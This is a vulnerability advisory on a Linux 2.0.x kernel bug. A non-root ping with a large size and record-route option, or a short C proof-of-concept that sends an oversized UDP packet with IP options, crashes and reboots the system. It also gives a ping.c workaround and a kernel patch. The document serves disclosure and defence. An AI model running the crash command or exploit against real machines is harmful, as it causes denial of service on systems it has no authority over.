COMMAND

    kernel

SYSTEMS AFFECTED

    Linux 2.0.x

PROBLEM

    Eduardo Cruz found following.  Last week he was playing with his
    old linux 2.0.36 i486 box.  While playing with the command ping
    and trying combinations of commands, he found that when you do a

        ping -s 65468 -R  ANYIPADDRESS ( -R record route)

    the system  starts to  print on  the screen  kernel dumps, freezes
    complitely and after few secconds  the system reboots.  The  major
    problem with this is that  command can be run by  everyone because
    you dont need root permissions to make a -R.

    This was tested  on a 2.0.35,  .36 (both slackware)  and .38 (??).
    When you try to do this on a 2.2.x the system prints out  "message
    too long".

    And this is exploit Andrea Arcangeli wrote to check the fix below:

    /* Exploit option length missing checks in Linux-2.0.38
       Andrea Arcangeli <andrea@suse.de> */
    
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <netinet/ip.h>
    
    main()
    {
	    int sk;
	    struct sockaddr_in sin;
	    struct hostent * hostent;
    #define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
    #define OPT_SIZE 1
	    char payload[PAYLOAD_SIZE];
    
	    sk = socket(AF_INET, SOCK_DGRAM, 0);
	    if (sk < 0)
		    perror("socket"), exit(1);
    
	    if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
		    perror("setsockopt"), exit(1);
    
	    bzero((char *)&sin, sizeof(sin));
    
	    sin.sin_port = htons(0);
	    sin.sin_family = AF_INET;
	    sin.sin_addr.s_addr = htonl(2130706433);
    
	    if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
		    perror("connect"), exit(1);
    
	    if (write(sk, payload, PAYLOAD_SIZE) < 0)
		    perror("write"), exit(1);
    }

SOLUTION

    This can be 'fixed' (okay kludged around) by altering the

        #define      MAXPACKET       (65536 - 60 - 8)/* max packet size */

    line in ping.c  For those  using RedHat 5.2 Stephen White made  an
    SRPM and .i368  RPM containing my  new ping and  they are avaiable
    via annon. ftp at

        ftp://ox.compsoc.net/users/swhite/ping/

    You'll need to install with --force since the package reports  the
    same  version  as  the  normal  redhat5.2  one  so RPM thinks it's
    already installed.  It has also been suggested that ping could  be
    patched to make '-s' only available to root (like '-l' is), as  an
    alternative solution.

    Neither of these address the real problem in the kernel, but  they
    do  mean  that  sysadmins  can  go  on  allowing users to run ping
    without the worry of quite such a trivial DoS.

    Andrea Arcangeli posted following.   Actually the bug is that  the
    IP layer is checking that  the iphdr+payload is < 0xffff  but it's
    _not_ checking that iphdr+optsize+payload  is < 0xffff. So  as far
    as there are no additional ip options in the packets all is  fine.
    This is his fix against 2.0.38:

    diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c
    --- 2.0.38/net/ipv4/ip_output.c	Thu Jun 18 23:48:22 1998
    +++ 2.0.38-ping-R/net/ipv4/ip_output.c	Tue Dec 14 23:02:43 1999
    @@ -703,7 +703,13 @@
    
 	    if (!sk->ip_hdrincl) {
 		    length += sizeof(struct iphdr);
    -		if(opt) length += opt->optlen;
    +		if(opt)
    +		{
    +			/* make sure to not exceed the max packet size */
    +			if (0xffff-length < opt->optlen)
    +				return -EMSGSIZE;
    +			length += opt->optlen;
    +		}
 	    }
    
 	    if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0xFFFFFFFF && daddr!=dev->pa_brdaddr)

    Downloadable also from:

        ftp://ftp.*.kernel.org/pub/linux/kernel/people/andrea/patches/v2.0/2.0.38/ip-opt-1.gz